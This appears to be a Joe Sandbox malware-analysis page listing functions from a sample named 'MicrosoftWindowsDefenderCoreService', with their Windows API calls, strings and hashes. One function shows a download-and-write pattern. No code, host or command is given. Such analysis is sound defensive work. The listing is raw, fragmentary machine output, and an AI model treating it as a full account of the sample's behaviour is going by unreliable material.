Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: edf19524608edbef5f136d65a101a5aa1c9b6fa273476f70753406903fc38faf
Instruction ID: 0afc5cc68e02cab9144ebead40ab9ac64c009e3b757e55d033dfb02e654b83ab
Opcode Fuzzy Hash: edf19524608edbef5f136d65a101a5aa1c9b6fa273476f70753406903fc38faf
Instruction Fuzzy Hash: F0016511E09765C1EA29BB16741007EA360AF54FE0B884635DFAE17BD6DE2CE8429274

Function 00007FF76E19EBED Relevance: 1.6, APIs: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF76E19EC1B

Part of subcall function 00007FF76E19ED14: GetModuleHandleExW.KERNEL32 ref: 00007FF76E19ED39
Part of subcall function 00007FF76E19ED14: GetProcAddress.KERNEL32 ref: 00007FF76E19ED4F
Part of subcall function 00007FF76E19ED14: FreeLibrary.KERNEL32 ref: 00007FF76E19ED76

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 8407ddacebe0e615420517ec7c410672e8b9fbc6745f32f22734ea0004e075ac
Instruction ID: 6ea974b44a6b5b7f70639f76e66225cd13660f2924e79ed26806565de5358251
Opcode Fuzzy Hash: 8407ddacebe0e615420517ec7c410672e8b9fbc6745f32f22734ea0004e075ac
Instruction Fuzzy Hash: 7F219132E04B06C9EB18AF68D4802AC73E1FB44B18F840635D65C06AD6DF78E944DBA4

Function 00007FF76E190B80 Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF76E190B94

Part of subcall function 00007FF76E1927A0: __vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00007FF76E1927A8
Part of subcall function 00007FF76E1927A0: __vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00007FF76E1927AD

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: __scrt_dllmain_crt_thread_attach__vcrt_uninitialize_locks__vcrt_uninitialize_ptd
String ID:
API String ID: 1208906642-0
Opcode ID: 7bfca5cc03376fee8cc84a428f3c338e5adeb644495df74e029906bd158a1971
Instruction ID: f061d929a15a641817b8d5972d6dc13fecd71888fe7c4aedf4467770a16df5d0
Opcode Fuzzy Hash: 7bfca5cc03376fee8cc84a428f3c338e5adeb644495df74e029906bd158a1971
Instruction Fuzzy Hash: 67E0EC18D0D247C5FDAD366171233B8D2872F21349ED004B8D85F521C3AE8E3C46757A

Non-executed Functions

Function 00007FF76E1B1650 Relevance: 13.8, APIs: 9, Instructions: 276fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF76E1B1234: _invalid_parameter_noinfo.LIBCMT ref: 00007FF76E1B1275
Part of subcall function 00007FF76E1B1234: _invalid_parameter_noinfo.LIBCMT ref: 00007FF76E1B12F3
Part of subcall function 00007FF76E1B1234: _invalid_parameter_noinfo.LIBCMT ref: 00007FF76E1B1344

CreateFileW.KERNEL32 ref: 00007FF76E1B1756
CreateFileW.KERNEL32 ref: 00007FF76E1B17A6
GetLastError.KERNEL32 ref: 00007FF76E1B17D6
GetFileType.KERNEL32 ref: 00007FF76E1B17EB
GetLastError.KERNEL32 ref: 00007FF76E1B17F5
CloseHandle.KERNEL32 ref: 00007FF76E1B1828
CloseHandle.KERNEL32 ref: 00007FF76E1B198B
CreateFileW.KERNEL32 ref: 00007FF76E1B19C0
GetLastError.KERNEL32 ref: 00007FF76E1B19CF

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 8bebc964633e4e27d84b0127fcb390b0fe7a1db07a09342fb2c511fb4d2ddaff
Instruction ID: 14beac8b104930a80b933dfb461654d5c25074e0d43e31bd4aadb8f8383628db
Opcode Fuzzy Hash: 8bebc964633e4e27d84b0127fcb390b0fe7a1db07a09342fb2c511fb4d2ddaff
Instruction Fuzzy Hash: FCC10232B28A41C6EB14EF65E0802AC7761FB49B98B810336DE6E973D4CF38E455D324

Function 00007FF76E1AD820 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 239COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF76E1A1DF0: GetLastError.KERNEL32 ref: 00007FF76E1A1DFF
Part of subcall function 00007FF76E1A1DF0: FlsGetValue.KERNEL32 ref: 00007FF76E1A1E14
Part of subcall function 00007FF76E1A1DF0: SetLastError.KERNEL32 ref: 00007FF76E1A1E9F

TranslateName.LIBCMT ref: 00007FF76E1AD88A
TranslateName.LIBCMT ref: 00007FF76E1AD8C5
GetACP.KERNEL32 ref: 00007FF76E1AD90C
IsValidCodePage.KERNEL32 ref: 00007FF76E1AD944
GetLocaleInfoW.KERNEL32 ref: 00007FF76E1ADB0D

Strings

utf8, xrefs: 00007FF76E1ADA28

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodeInfoLocalePageValidValue
String ID: utf8
API String ID: 3069159798-905460609
Opcode ID: a8e12bfc69e101697200b6a1c9cd79548ce90e265cd974d7e899c341f9c85bb0
Instruction ID: e6ef79a5788e6787088e8e357c657bca819b127f914f588466669697557e05be
Opcode Fuzzy Hash: a8e12bfc69e101697200b6a1c9cd79548ce90e265cd974d7e899c341f9c85bb0
Instruction Fuzzy Hash: 23918032A08B42C1E728BF29B4012B9A3A5EB44B88F844131DE5D47B95DF3CE551EB78

Function 00007FF76E1AE27C Relevance: 10.7, APIs: 7, Instructions: 171COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF76E1A1DF0: GetLastError.KERNEL32 ref: 00007FF76E1A1DFF
Part of subcall function 00007FF76E1A1DF0: FlsGetValue.KERNEL32 ref: 00007FF76E1A1E14
Part of subcall function 00007FF76E1A1DF0: SetLastError.KERNEL32 ref: 00007FF76E1A1E9F

Part of subcall function 00007FF76E1A1DF0: FlsSetValue.KERNEL32 ref: 00007FF76E1A1E35

GetUserDefaultLCID.KERNEL32 ref: 00007FF76E1AE3EC

Part of subcall function 00007FF76E1A1DF0: FlsSetValue.KERNEL32 ref: 00007FF76E1A1E62
Part of subcall function 00007FF76E1A1DF0: FlsSetValue.KERNEL32 ref: 00007FF76E1A1E73
Part of subcall function 00007FF76E1A1DF0: FlsSetValue.KERNEL32 ref: 00007FF76E1A1E84

EnumSystemLocalesW.KERNEL32 ref: 00007FF76E1AE3D3
ProcessCodePage.LIBCMT ref: 00007FF76E1AE416
IsValidCodePage.KERNEL32 ref: 00007FF76E1AE428
IsValidLocale.KERNEL32 ref: 00007FF76E1AE43E
GetLocaleInfoW.KERNEL32 ref: 00007FF76E1AE49A
GetLocaleInfoW.KERNEL32 ref: 00007FF76E1AE4B6

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: Value$Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
String ID:
API String ID: 2591520935-0
Opcode ID: 5aa3c2022a6c5e213c7bbbeb4122f9cce8c7d861f063f0e583fbb2ae12f13b46
Instruction ID: 1a3c8d667c92bfe62d81dc151009fa9500d247b176ced6c34b3733a43c0202d1
Opcode Fuzzy Hash: 5aa3c2022a6c5e213c7bbbeb4122f9cce8c7d861f063f0e583fbb2ae12f13b46
Instruction Fuzzy Hash: 27719F22B04652CAFB18AB68E8402BCA3A4BF44744FC44135CE5D57B95DF3CA685E378

Function 00007FF76E189DD0 Relevance: 10.6, APIs: 7, Instructions: 90filenetworkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 00007FF76E189E07
InternetOpenUrlW.WININET ref: 00007FF76E189E29
CreateFileW.KERNEL32 ref: 00007FF76E189E55
InternetReadFile.WININET ref: 00007FF76E189E71
WriteFile.KERNEL32 ref: 00007FF76E189EAA
InternetReadFile.WININET ref: 00007FF76E189EC3
CloseHandle.KERNEL32 ref: 00007FF76E189ED0

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: FileInternet$OpenRead$CloseCreateHandleWrite
String ID:
API String ID: 1744991900-0
Opcode ID: 0e643f24de6e56b96b771349e40c1447714836f73aff6f24d0e0d2060d980734
Instruction ID: 543a7acfd9070dfe456fd625b5fc09cdf0913430477e4240adaf55cab5c140aa
Opcode Fuzzy Hash: 0e643f24de6e56b96b771349e40c1447714836f73aff6f24d0e0d2060d980734
Instruction Fuzzy Hash: DB318122A1868286E7249F61F41476AF760FB85B88F845136DE8D07F44DF3CD0059B28

Function 00007FF76E1912E0 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF76E1912FC
RtlCaptureContext.KERNEL32 ref: 00007FF76E191329
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF76E191343
RtlVirtualUnwind.KERNEL32 ref: 00007FF76E191384
IsDebuggerPresent.KERNEL32 ref: 00007FF76E1913D8
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF76E1913F5
UnhandledExceptionFilter.KERNEL32 ref: 00007FF76E191400

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 85ae580283c1239024e0937bc9506274967d4fc036943838fd6d8d09f33344d8
Instruction ID: 8ca78588f7f2dd693f0a9a0eef4c6ed07f20f679c72705cbcba8e47043f50e8c
Opcode Fuzzy Hash: 85ae580283c1239024e0937bc9506274967d4fc036943838fd6d8d09f33344d8
Instruction Fuzzy Hash: A0311972608B81C6EB64AF61F8403E9B365FB84744F84413ADA8E57B94DF38D6488734

Function 00007FF76E19C0F8 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF76E19C171
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF76E19C189
RtlVirtualUnwind.KERNEL32 ref: 00007FF76E19C1C4
IsDebuggerPresent.KERNEL32 ref: 00007FF76E19C1FD
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF76E19C207
UnhandledExceptionFilter.KERNEL32 ref: 00007FF76E19C212

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 612c881c9c8ee1586fccea7c9fd5042b90ab35725d194689bafaf2204bcd87b3
Instruction ID: 36cf6e501fb25879f89576f338131af7dbbb273dbb96b4a80070adf648bf3185
Opcode Fuzzy Hash: 612c881c9c8ee1586fccea7c9fd5042b90ab35725d194689bafaf2204bcd87b3
Instruction Fuzzy Hash: 25318436608B81C6EB68DF25F8402AEB3A5FB88754F900136EA8D47B94DF3CD545CB24

Function 00007FF76E1A9B94 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF76E1A9BE0
FindFirstFileExW.KERNEL32 ref: 00007FF76E1A9CEA

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 8cbd06e7d31a27edd69c8a40492ddb11f986bebdf7822f30414eaff6ec58abcc
Instruction ID: 5467212da594471c4df6ec804c8aeb43fb843b3c67ce15be91590a21b894d503
Opcode Fuzzy Hash: 8cbd06e7d31a27edd69c8a40492ddb11f986bebdf7822f30414eaff6ec58abcc
Instruction Fuzzy Hash: A0B1B522B18692C1EA69AB2AF4101B9E391EB44BE4FC44131ED5D47FD9DE3DE481D334

Function 00007FF76E1A5FF0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF76E1A603B

Part of subcall function 00007FF76E19C414: IsProcessorFeaturePresent.KERNEL32 ref: 00007FF76E19C41D
Part of subcall function 00007FF76E19C414: GetCurrentProcess.KERNEL32 ref: 00007FF76E19C442

Strings

PATH, xrefs: 00007FF76E1A60E6
\, xrefs: 00007FF76E1A61A0

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor_invalid_parameter_noinfo
String ID: PATH$\
API String ID: 4036615347-1896636505
Opcode ID: ed54544109bcf5aca42db013f3102fcfca9e7846031c5f6f2af4f4b0f88a5cc5
Instruction ID: ac031dad234ad5ce9895076c8c28d3d12a9b41e4b1d4955cd8d09310a3a06278
Opcode Fuzzy Hash: ed54544109bcf5aca42db013f3102fcfca9e7846031c5f6f2af4f4b0f88a5cc5
Instruction Fuzzy Hash: 9A91E461F29216C5FF2CBB6D751127DB6A16F50B88F844835CE1E07BC6DE3CA845A238

Function 00007FF76E1A5B38 Relevance: 16.7, APIs: 11, Instructions: 163synchronizationCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF76E1A5B76
WaitForSingleObject.KERNEL32 ref: 00007FF76E1A5C9E
GetExitCodeProcess.KERNEL32 ref: 00007FF76E1A5CAC
CloseHandle.KERNEL32 ref: 00007FF76E1A5CC2
CloseHandle.KERNEL32 ref: 00007FF76E1A5CD0
GetLastError.KERNEL32 ref: 00007FF76E1A5CDE
CloseHandle.KERNEL32 ref: 00007FF76E1A5CF3
CloseHandle.KERNEL32 ref: 00007FF76E1A5D05
CloseHandle.KERNEL32 ref: 00007FF76E1A5D1E
CloseHandle.KERNEL32 ref: 00007FF76E1A5D2C
CloseHandle.KERNEL32 ref: 00007FF76E1A5D42

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: CloseHandle$CodeErrorExitLastObjectProcessSingleWait_invalid_parameter_noinfo
String ID:
API String ID: 2936579111-0
Opcode ID: 67fbe1784835731a484da3a16c35548e70f085961f99bb10bc48e8c45e3858ff
Instruction ID: 779b764d574f0369f153234ec8a0687372c8d4b6e8e69e4c659cf34c750d3492
Opcode Fuzzy Hash: 67fbe1784835731a484da3a16c35548e70f085961f99bb10bc48e8c45e3858ff
Instruction Fuzzy Hash: 16615F22F0DB02C6FB18BB65E4401BCA3A2AB45BA4B850536DE5D17FD9CE38E445D378

Function 00007FF76E197038 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF76E197078
_invalid_parameter_noinfo.LIBCMT ref: 00007FF76E197440
_invalid_parameter_noinfo.LIBCMT ref: 00007FF76E1976DF

Strings

p, xrefs: 00007FF76E19711D
f, xrefs: 00007FF76E197110
p, xrefs: 00007FF76E197182
f, xrefs: 00007FF76E19717A
f, xrefs: 00007FF76E1972C5

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: 2360fc101e954ca8b181993f287e047f5ea9cce105803c0f0e659e7c0b8d4bb4
Instruction ID: 5dd44d282ddf50b72f9a47a78c85ad12403548d0ce128299fbcad19893cde2e0
Opcode Fuzzy Hash: 2360fc101e954ca8b181993f287e047f5ea9cce105803c0f0e659e7c0b8d4bb4
Instruction Fuzzy Hash: F0125D22E0C143C6FB28AA15B0546B9E663FF80754FD84036E699476C4DB7CED90EB78

Function 00007FF76E1932DC Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF76E193339

Part of subcall function 00007FF76E1956AC: __GetUnwindTryBlock.LIBCMT ref: 00007FF76E1956EF
Part of subcall function 00007FF76E1956AC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF76E195714

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF76E193411
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF76E19365F
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF76E19376C

Strings

csm, xrefs: 00007FF76E1933BA
csm, xrefs: 00007FF76E193353
csm, xrefs: 00007FF76E193434

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 1340504e754d9787e77b797c639ac6d3f627f8438c6e3f21e96ee6fe343b0a3c
Instruction ID: 4219572f621a34527cb9def4e28b271f8960f692e8b16a141b1a7396bb47e50d
Opcode Fuzzy Hash: 1340504e754d9787e77b797c639ac6d3f627f8438c6e3f21e96ee6fe343b0a3c
Instruction Fuzzy Hash: D3D1A072A08741C6EB28AB65F4443ADB7A1FB44788F900135EE8D57B96CF38E981D734

Function 00007FF76E189F60 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 279COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF76E18A331
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF76E18A33D

Strings

version=, xrefs: 00007FF76E18A061
ios_base::failbit set, xrefs: 00007FF76E18A354
ios_base::badbit set, xrefs: 00007FF76E18A348
ios_base::eofbit set, xrefs: 00007FF76E18A35B
Failed to open file: , xrefs: 00007FF76E18A219

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: Failed to open file: $ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set$version=
API String ID: 3668304517-3690914312
Opcode ID: 1cfdb8d0b34dda5e2b6a14e7cd690e97adb5edae016d53631456050e3210f026
Instruction ID: 1bf2d4fe411e00c2a16ac20cc298e9d6df1005c5fb657686af32197ec2574627
Opcode Fuzzy Hash: 1cfdb8d0b34dda5e2b6a14e7cd690e97adb5edae016d53631456050e3210f026
Instruction Fuzzy Hash: D1C1C722F14B85C6EB14EB65E4803BEA761FB40B88F808136DA4D57AD9DF7CE481D364

Function 00007FF76E1A2544 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00007FF76E1A26C0
GetProcAddress.KERNEL32 ref: 00007FF76E1A26CC

Strings

api-ms-, xrefs: 00007FF76E1A260A
ext-ms-, xrefs: 00007FF76E1A261D

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

